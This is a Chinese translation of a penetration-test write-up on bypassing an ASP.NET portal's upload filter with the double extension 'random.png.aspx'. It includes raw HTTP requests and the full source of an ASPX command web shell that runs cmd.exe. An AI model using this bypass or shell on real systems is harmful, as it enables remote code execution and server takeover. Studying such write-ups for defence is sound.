一次ASP.NET站点文件上传bypass

文化   2024-12-04 12:02   韩国  

扫码领资料

获网安教程


Track安全社区投稿~  

赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

这是一个网络门户,我被提供了测试账号。我们暂且称该网站为 subdomain.REDACTED.vn。按照惯例,我手动测试,通过浏览每个功能并正常使用网站来了解其工作原理。

其中有一个端点允许将文档上传到服务器。特别之处在于它允许上传多种文件扩展名,这让我认为这个功能可能值得深入研究。由于该门户使用的是 ASP.NET框架,我尝试上传了一个随机的 ASPX 文件,以下是我收到的结果:

请求

POST /api/Upload?dirName=<value>&typeData=files&acceptExtensions=[%22.pdf%22,%22.png%22,%22.jpeg%22,%22.jpg%22,%22.doc%22,%22.docx%22,%22.xls%22,%22.xlsx%22,%22.gif%22,%22.aspx%22] HTTP/2Host: subdomain.REDACTED.vnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Bearer TokenContent-Type: multipart/form-data; boundary=---------------------------268323296236829192843718666811Content-Length: 1806Origin: https://subdomain.REDACTED.vnReferer: https://subdomain.REDACTED.vn/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-siteTe: trailers
-----------------------------11641410975405508213559672945Content-Disposition: form-data; name="files"; filename="random.aspx"Content-Type: text/html
<File Content here>-----------------------------11641410975405508213559672945--

响应

img

服务器返回的信息显示,它仅允许上传特定的文件扩展名:.pdf;.png;.jpeg;.jpg;.doc;.docx;.xls;.xlsx;.gif

如果仔细观察,会发现请求中的 acceptExtensions 参数也包含了这些文件扩展名。于是,我尝试在该参数中添加 ".aspx" 并再次尝试上传文件。

img

服务器返回的消息翻译为“文件格式无效,请选择有效格式”。

这表明我们能够上传 .aspx 文件,但服务器可能仍然存在其他检查机制。于是,我尝试了一些技术来混淆文件名。

情况 1:random.aspx;.jpg

当我上传文件并尝试访问它时,页面显示如下内容:

img

我们可以推断出,服务器是通过文件名中的最后一个点来识别文件扩展名的。尝试使用空字节注入(random.aspx%00.jpg)或 URL 编码也会失败,因为服务器会保留文件名的原样,不会进行任何修改。

情况2:random.png.aspx

这次我改变了扩展名的顺序,结果成功了 :)。我还发现,只要文件名中包含允许的扩展名,我们就可以绕过保护。例如,randompng.aspx 也能成功上传。成功上传文件后,我便可以访问它并开始执行系统命令。

请求

POST /api/Upload?dirName=<value>&typeData=files&acceptExtensions=[%22.pdf%22,%22.png%22,%22.jpeg%22,%22.jpg%22,%22.doc%22,%22.docx%22,%22.xls%22,%22.xlsx%22,%22.gif%22,%22.aspx%22] HTTP/2Host: subdomain.REDACTED.vnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0Accept: application/json, text/plain, */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Bearer TokenContent-Type: multipart/form-data; boundary=---------------------------268323296236829192843718666811Content-Length: 1806Origin: https://subdomain.REDACTED.vnReferer: https://subdomain.REDACTED.vn/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-siteTe: trailers-----------------------------268323296236829192843718666811
Content-Disposition: form-data; name="files"; filename="random.png.aspx"Content-Type: text/html
<%@ Page Language="VB" Debug="true" %><%@ import Namespace="system.IO" %><%@ import Namespace="System.Diagnostics" %><script runat="server"> Sub RunCmd(Src As Object, E As EventArgs) Dim myProcess As New Process() Dim myProcessStartInfo As New ProcessStartInfo(xpath.text) myProcessStartInfo.UseShellExecute = false myProcessStartInfo.RedirectStandardOutput = true myProcess.StartInfo = myProcessStartInfo myProcessStartInfo.Arguments=xcmd.text myProcess.Start() Dim myStreamReader As StreamReader = myProcess.StandardOutput Dim myString As String = myStreamReader.Readtoend() myProcess.Close() mystring=replace(mystring,"<","<") mystring=replace(mystring,">",">") result.text= vbcrlf & "<pre>" & mystring & "</pre>" End Sub</script><html><body> <form runat="server"> <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label> <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox> <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label> <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox> <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button> <p><asp:Label id="result" runat="server"></asp:Label> </form></body></html>-----------------------------268323296236829192843718666811--

我从Github上获取了.aspx文件,链接是 https://github.com/nikicat/web-malware-collection/blob/master/Backdoors/ASP/cmd.aspx。这个脚本允许我直接在前端执行命令。

img

攻击者可以执行后期利用,提升权限并完全控制整个系统。

以上内容由白帽子左一翻译并整理原文:https://medium.com/@p00dl3/remote-code-execution-via-file-upload-vulnerability-in-asp-net-website-845cbefdded5

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。


白帽子左一
零基础也能学渗透!关注我,跟我一启开启渗透测试工程师成长计划.专注分享网络安全知识技能.
 最新文章